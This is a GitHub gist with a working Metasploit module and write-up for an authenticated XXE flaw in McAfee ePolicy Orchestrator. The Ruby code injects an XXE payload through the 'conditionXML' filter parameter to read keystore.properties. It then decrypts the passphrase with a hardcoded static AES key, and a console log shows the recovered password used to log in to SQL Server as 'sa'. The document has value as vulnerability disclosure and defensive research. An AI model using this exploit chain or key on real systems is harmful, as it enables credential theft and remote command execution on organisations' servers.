Last active
August 29, 2015 14:12
-
-
Save brandonprry/692e553975bf29aeaf2c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
=begin | |
McAfee ePolicy Orchestrator Authenticated XXE and Credential Disclosure | |
Trial available here: | |
https://secure.mcafee.com/apps/downloads/free-evaluations/survey.aspx?mktg=ESD1172&cid=ESD1172&eval=A0C692FB-8E29-4D47-BBF1-43CAB5F10069®ion=us | |
McAfee ePolicy Orchestrator suffers from an authenticated XXE vulnerability, available to any authenticated user. The Server Task Log option in the upper left menu is where the vulnerability lies. When creating a custom filter, a bit of XML is passed from the client to the server to create the said filter. This parameter is called 'conditionXML' and is vulnerable to an XXE attack. The attack seems a bit limited however, as you can only fit up to 255 characters in the 'value' field. | |
However, a file in the web server installation configuration directory called 'keystore.properties' is less than the size we need, and contains an encrypted passphrase that is set during installation. When installing, an initial admin user is created (with 'admin' as the default username'). The password supplied here will also become the password for the local 'sa' SQL user, if you choose to install a local SQL server, and it will be the password for the application's certificate key store (hence the name of the properties file). | |
This passphrase is encrypted using a static key, and uses a weak cipher (AES-128-ECB). | |
The supplied metasploit module will authenticate as a given user, exploit the XXE to retrieve the encrypted passphrase, then decrypt it and print the decrypted password out for the user. | |
By default, if a local SQL server has been installed, it the SQL server will listen on all interfaces. Since the application uses the 'sa' user by default, the password supplied during installation can be used to log in remotely as the 'sa' user, allowing for remote command execution. | |
Brandons-iMac:metasploit-brandonprry bperry$ sudo ./msfconsole | |
Password: | |
[*] Starting the Metasploit Framework console...\ | |
Call trans opt: received. 2-19-98 13:24:18 REC:Loc | |
Trace program: running | |
wake up, Neo... | |
the matrix has you | |
follow the white rabbit. | |
knock, knock, Neo. | |
(`. ,-, | |
` `. ,;' / | |
`. ,'/ .' | |
`. X /.' | |
.-;--''--.._` ` ( | |
.' / ` | |
, ` ' Q ' | |
, , `._ \ | |
,.| ' `-.;_' | |
: . ` ; ` ` --,.._; | |
' ` , ) .' | |
`._ , ' /_ | |
; ,''-,;' ``- | |
``-..__``--` | |
http://metasploit.pro | |
=[ metasploit v4.11.0-dev [core:4.11.0.pre.dev api:1.0.0]] | |
+ -- --=[ 1381 exploits - 775 auxiliary - 223 post ] | |
+ -- --=[ 349 payloads - 37 encoders - 8 nops ] | |
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] | |
msf > use exploit/zdi/mcafee_epo_xxe | |
msf auxiliary(mcafee_epo_xxe) > set RHOST 192.168.1.14 | |
RHOST => 192.168.1.14 | |
msf auxiliary(mcafee_epo_xxe) > set PASSWORD notPassw0rd! | |
PASSWORD => notPassw0rd! | |
msf auxiliary(mcafee_epo_xxe) > show options | |
Module options (auxiliary/zdi/mcafee_epo_xxe): | |
Name Current Setting Required Description | |
---- --------------- -------- ----------- | |
FILEPATH C:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/keystore.properties yes The filepath to read on the server | |
PASSWORD notPassw0rd! yes The password to authenticate with | |
Proxies no Use a proxy chain | |
RHOST 192.168.1.14 yes The target address | |
RPORT 8443 yes The target port | |
SSL true yes Use SSL | |
TARGETURI / yes Base ePO directory path | |
USERNAME username yes The username to authenticate with | |
VHOST no HTTP server virtual host | |
msf auxiliary(mcafee_epo_xxe) > run | |
[*] Setting up some things... | |
[*] Sending payload... | |
[*] Getting encrypted passphrase value from keystore.properties file... | |
[*] Base64 encoded encrypted passphrase: T/r66DMjAYhgwFNGg7vdjiism5aqRjhUy8jvZYA5Ln8= | |
[+] The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: NotAPassw0rd!123 | |
[*] Auxiliary module execution completed | |
msf auxiliary(mcafee_epo_xxe) > use auxiliary/scanner/ms | |
use auxiliary/scanner/msf/msf_rpc_login use auxiliary/scanner/mssql/mssql_hashdump use auxiliary/scanner/mssql/mssql_ping | |
use auxiliary/scanner/msf/msf_web_login use auxiliary/scanner/mssql/mssql_login use auxiliary/scanner/mssql/mssql_schemadump | |
msf auxiliary(mcafee_epo_xxe) > use auxiliary/scanner/mssql/mssql_login | |
msf auxiliary(mssql_login) > set RHOSTS 192.168.1.14 | |
RHOSTS => 192.168.1.14 | |
msf auxiliary(mssql_login) > set PASSWORD NotAPassw0rd!123 | |
PASSWORD => NotAPassw0rd!123 | |
msf auxiliary(mssql_login) > run | |
[*] 192.168.1.14:1433 - MSSQL - Starting authentication scanner. | |
[+] 192.168.1.14:1433 - LOGIN SUCCESSFUL: WORKSTATION\sa:NotAPassw0rd!123 | |
[*] Scanned 1 of 1 hosts (100% complete) | |
[*] Auxiliary module execution completed | |
msf auxiliary(mssql_login) > | |
=end | |
## | |
# This module requires Metasploit: http://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
require 'msf/core' | |
require 'openssl' | |
class Metasploit3 < Msf::Auxiliary | |
include Msf::Exploit::Remote::HttpClient | |
def initialize(info = {}) | |
super(update_info(info, | |
'Name' => 'McAfee ePolicy Orchestrator Authenticated XXE Credentials Exposure', | |
'Description' => %q{ | |
This module will exploit an authenticated XXE vulnerability to read the keystore.properties | |
off of the filesystem. This properties file contains an encrypted password that is set during | |
installation. What is interesting about this password is that it is set as the same password | |
as the database 'sa' user and of the admin user created during installation. This password | |
is encrypted with a static key, and is encrypted using a weak cipher at that (ECB). By default, | |
if installed with a local SQL Server instance, the SQL server is listening on all interfaces. | |
Recovering this password allows an attacker to potentially authenticate as the 'sa' SQL Server | |
user in order to achieve remote command execution with permissions of the database process. If | |
the administrator has no changed the password for the initially created account since installation, | |
the attacker also now has the password for this account. By default, 'admin' is recommended. | |
Any user account can be used to exploit this, all that is needed is a pair of credentials. | |
The most data that can be successfully retrieved is 255 characters due to length restrictions | |
on the field used to perform the XXE attack. | |
}, | |
'License' => MSF_LICENSE, | |
'Author' => | |
[ | |
'Brandon Perry <bperry.volatile[at]gmail.com>', #metasploit module | |
], | |
'References' => | |
[ | |
], | |
'DisclosureDate' => '' | |
)) | |
register_options( | |
[ | |
Opt::RPORT(8443), | |
OptBool.new('SSL', [true, 'Use SSL', true]), | |
OptString.new('TARGETURI', [ true, "Base ePO directory path", '/']), | |
OptString.new('FILEPATH', [true, "The filepath to read on the server", "C:/Program Files (x86)/McAfee/ePolicy Orchestrator/Server/conf/orion/keystore.properties"]), | |
OptString.new('USERNAME', [true, "The username to authenticate with", "username"]), | |
OptString.new('PASSWORD', [true, "The password to authenticate with", "password"]) | |
], self.class) | |
end | |
def run | |
key = "\x5E\x9C\x3E\xDF\xE6\x25\x84\x36\x66\x21\x93\x80\x31\x5A\x29\x33" #static key used | |
aes = OpenSSL::Cipher::Cipher.new('AES-128-ECB') # ecb, bad bad tsk | |
aes.decrypt | |
aes.padding=1 | |
aes.key = key | |
res = send_request_cgi({ | |
'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do') | |
}) | |
cookie = res.get_cookies | |
res = send_request_cgi({ | |
'uri' => normalize_uri(target_uri.path, 'core', 'j_security_check'), | |
'method' => 'POST', | |
'vars_post' => { | |
'j_username' => datastore['USERNAME'], | |
'j_password' => datastore['PASSWORD'] | |
}, | |
'cookie' => cookie | |
}) | |
cookie = res.get_cookies | |
res = send_request_cgi({ | |
'uri' => normalize_uri(target_uri.path, 'core', 'orionSplashScreen.do'), | |
'cookie' => cookie | |
}) | |
if res.code != 302 | |
fail_with(Failure::Unknown, 'Authentication failed') | |
end | |
cookie = res.get_cookies | |
#This vuln requires a bit of setup before we can exploit it | |
print_status("Setting up some things...") | |
res = send_request_cgi({ | |
'uri' => normalize_uri(target_uri.path, 'core', 'orionNavigationLogin.do'), | |
'cookie' => cookie | |
}) | |
auth_token = $1 if res.body =~ /id="orion.user.security.token" value="(.*)"\/>/ | |
res = send_request_cgi({ | |
'uri' => normalize_uri(target_uri.path, 'core', 'orionTab.do'), | |
'vars_get' => { | |
'sectionId' => 'orion.automation', | |
'tabId' => 'orion.tasklog', | |
'orion.user.security.token' => auth_token | |
}, | |
'cookie' => cookie | |
}) | |
res = send_request_cgi({ | |
'uri' => normalize_uri(target_uri.path, 'core', 'loadTableData.do'), | |
'vars_get' => { | |
'datasourceAttr' => 'scheduler.tasklog.datasource.attr', | |
'filter' => 'scheduler.tasklog.filter.day', | |
'secondaryFilter' => '', | |
'tableCellRendererAttr' => 'taskLogCellRenderer', | |
'count' => 44, | |
'sortProperty' => 'OrionTaskLogTask.StartDate', | |
'sortOrder' => 1, | |
'id' => 'taskLogTable' | |
}, | |
'cookie' => cookie | |
}) | |
res = send_request_cgi({ | |
'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'), | |
'vars_get' => { | |
'datasourceAttr' => 'scheduler.tasklog.datasource.attr', | |
'tableId' => 'taskLogTable', | |
'orion.user.security.token' => auth_token | |
}, | |
'cookie' => cookie | |
}) | |
res = send_request_cgi({ | |
'uri' => normalize_uri(target_uri.path, 'core', 'orionTableUpdateState.do'), | |
'method' => 'POST', | |
'vars_post' => { | |
'dataSourceAttr' => 'scheduler.tasklog.datasource.attr', | |
'tableId' => 'taskLogTable', | |
'columnWidths' => '285,285,285,285,285,285,285,285', | |
'sortColumn' => 'OrionTaskLogTask.StartDate', | |
'sortOrder' => '1', | |
'showFilters' => 'true', | |
'currentIndex' => 0, | |
'orion.user.security.token' => auth_token, | |
'ajaxMode' => 'standard' | |
}, | |
'cookie' => cookie | |
}) | |
res = send_request_cgi({ | |
'uri' => normalize_uri(target_uri.path, 'core', 'loadDisplayType.do'), | |
'method' => 'POST', | |
'vars_post' => { | |
'displayType' => 'text_lookup', | |
'operator' => 'eq', | |
'propKey' => 'OrionTaskLogTask.Name', | |
'instanceId' => 0, | |
'orion.user.security.token' => auth_token, | |
'ajaxMode' => 'standard' | |
}, | |
'cookie' => cookie | |
}) | |
print_status("Sending payload...") | |
xxe = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///'+datastore['FILEPATH']+'" >]><conditions><condition grouping="or"><prop-key>OrionTaskLogTaskMessage.Message</prop-key><op-key>eq</op-key><value>&xxe;</value></condition></conditions>' | |
res = send_request_cgi({ | |
'uri' => normalize_uri(target_uri.path, 'core', 'orionUpdateTableFilter.do'), | |
'method' => 'POST', | |
'vars_post' => { | |
'orion.user.security.token' => auth_token, | |
'datasourceAttr' => 'scheduler.tasklog.datasource.attr', | |
'tableId' => 'taskLogTable', | |
'conditionXML' => xxe, | |
'secondaryFilter' => '', | |
'op' => 'eq', | |
'ajaxMode' => 'standard' | |
}, | |
'cookie' => cookie | |
}) | |
print_status("Getting encrypted passphrase value from keystore.properties file...") | |
res = send_request_cgi({ | |
'uri' => normalize_uri(target_uri.path, 'core', 'orionEditTableFilter.do'), | |
'vars_get' => { | |
'datasourceAttr' => 'scheduler.tasklog.datasource.attr', | |
'tableId' => 'taskLogTable', | |
'orion.user.security.token' => auth_token | |
}, | |
'cookie' => cookie | |
}) | |
passphrase = $1 if res.body =~ /passphrase=(.*?)\\u003/ | |
passphrase = passphrase.gsub('\\\\=', '=').gsub("\\u002f", "/").gsub("\\u002b", "+") | |
print_status("Base64 encoded encrypted passphrase: " + passphrase) | |
passphrase = aes.update(Rex::Text.decode_base64(passphrase)) + aes.final | |
print_good("The decrypted password for the keystore, 'sa' SQL user (if using local instance), and possibly 'admin' is: " + passphrase) | |
end | |
end | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment